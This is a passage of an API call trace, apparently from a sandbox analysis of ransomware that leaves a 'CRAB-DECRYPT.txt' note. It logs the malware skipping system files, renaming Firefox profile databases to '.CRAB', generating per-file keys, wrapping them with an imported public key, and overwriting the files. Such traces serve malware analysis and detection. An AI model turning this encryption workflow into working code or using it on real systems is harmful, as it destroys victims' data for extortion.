	[0120.244] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0120.244] CloseHandle (hObject=0x3e0) returned 1
	[0120.245] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.245] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.245] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.246] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.246] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.246] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.246] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.246] lstrcmpW (lpString1="content-prefs.sqlite", lpString2=".") returned 1
	[0120.246] lstrcmpW (lpString1="content-prefs.sqlite", lpString2="..") returned 1
	[0120.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="content-prefs.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite"
	[0120.246] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.247] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100
	[0120.247] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100
	[0120.247] lstrlenW (lpString=".sqlite") returned 7
	[0120.247] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.247] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0120.247] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100
	[0120.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="desktop.ini") returned -1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="autorun.inf") returned 1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="ntuser.dat") returned -1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="iconcache.db") returned -1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="bootsect.bak") returned 1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="boot.ini") returned 1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="ntuser.dat.log") returned -1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="thumbs.db") returned -1
	[0120.248] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.248] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.248] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB") returned 105
	[0120.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite")) returned 0x20
	[0120.249] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite", dwFileAttributes=0x20) returned 1
	[0120.249] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite.crab")) returned 1
	[0120.250] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.250] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB"
	[0120.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB.CRAB"
	[0120.250] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0120.251] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.252] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.252] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0120.252] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0120.252] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.252] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0120.252] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.253] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.253] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.253] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0120.253] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.253] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.253] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.254] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.255] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0120.256] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda3f20) returned 1
	[0120.256] CryptGetKeyParam (in: hKey=0xda3f20, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.256] CryptEncrypt (in: hKey=0xda3f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0120.256] GetLastError () returned 0x0
	[0120.256] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.256] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0120.257] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda3f60) returned 1
	[0120.257] CryptGetKeyParam (in: hKey=0xda3f60, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.257] CryptEncrypt (in: hKey=0xda3f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0120.257] GetLastError () returned 0x0
	[0120.257] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0120.257] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.259] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.259] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.259] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x38000, lpOverlapped=0x0) returned 1
	[0120.318] VirtualAlloc (lpAddress=0x0, dwSize=0x38000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0120.322] VirtualAlloc (lpAddress=0x0, dwSize=0x38000, flAllocationType=0x3000, flProtect=0x4) returned 0x34b0000
	[0120.327] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.328] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffc8000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.329] WriteFile (in: hFile=0x3e0, lpBuffer=0x34b0000*, nNumberOfBytesToWrite=0x38000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x34b0000*, lpNumberOfBytesWritten=0x3149f14*=0x38000, lpOverlapped=0x0) returned 1
	[0120.329] VirtualFree (lpAddress=0x34b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.330] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.334] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.335] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.335] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0120.335] CloseHandle (hObject=0x3e0) returned 1
	[0120.342] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.342] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.342] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.342] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.343] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.343] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.343] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.343] lstrcmpW (lpString1="cookies.sqlite", lpString2=".") returned 1
	[0120.343] lstrcmpW (lpString1="cookies.sqlite", lpString2="..") returned 1
	[0120.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="cookies.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite"
	[0120.343] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.344] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94
	[0120.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94
	[0120.344] lstrlenW (lpString=".sqlite") returned 7
	[0120.344] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.344] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0120.344] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94
	[0120.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94
	[0120.344] lstrcmpiW (lpString1="cookies.sqlite", lpString2="desktop.ini") returned -1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="autorun.inf") returned 1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="ntuser.dat") returned -1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="iconcache.db") returned -1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="bootsect.bak") returned 1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="boot.ini") returned 1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="ntuser.dat.log") returned -1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="thumbs.db") returned -1
	[0120.345] lstrcmpiW (lpString1="cookies.sqlite", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.345] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.345] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB") returned 99
	[0120.345] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite")) returned 0x20
	[0120.346] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite", dwFileAttributes=0x20) returned 1
	[0120.347] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite.crab")) returned 1
	[0120.348] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.348] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB"
	[0120.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB.CRAB"
	[0120.348] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0120.349] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.349] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.349] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.349] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0120.349] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.349] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.350] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0120.350] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.351] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.351] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0120.351] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.351] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.351] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.352] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.352] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0120.352] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda7370) returned 1
	[0120.352] CryptGetKeyParam (in: hKey=0xda7370, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.353] CryptEncrypt (in: hKey=0xda7370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0120.353] GetLastError () returned 0x0
	[0120.353] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.353] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0120.353] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xd80760) returned 1
	[0120.354] CryptGetKeyParam (in: hKey=0xd80760, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0120.354] CryptEncrypt (in: hKey=0xd80760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0120.354] GetLastError () returned 0x0
	[0120.354] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0120.354] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0120.355] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.355] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x80000, lpOverlapped=0x0) returned 1
	[0120.387] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0120.395] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x34f0000
	[0120.409] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.412] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff80000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.412] WriteFile (in: hFile=0x3e0, lpBuffer=0x34f0000*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x34f0000*, lpNumberOfBytesWritten=0x3149f14*=0x80000, lpOverlapped=0x0) returned 1
	[0120.413] VirtualFree (lpAddress=0x34f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.415] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.419] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.420] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0120.420] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0120.420] CloseHandle (hObject=0x3e0) returned 1
	[0120.429] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.430] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.430] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.430] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.430] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.431] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.431] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0120.431] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0120.431] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0120.431] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\CRAB-DECRYPT.txt"
	[0120.431] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.432] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\CRAB-DECRYPT.txt") returned 96
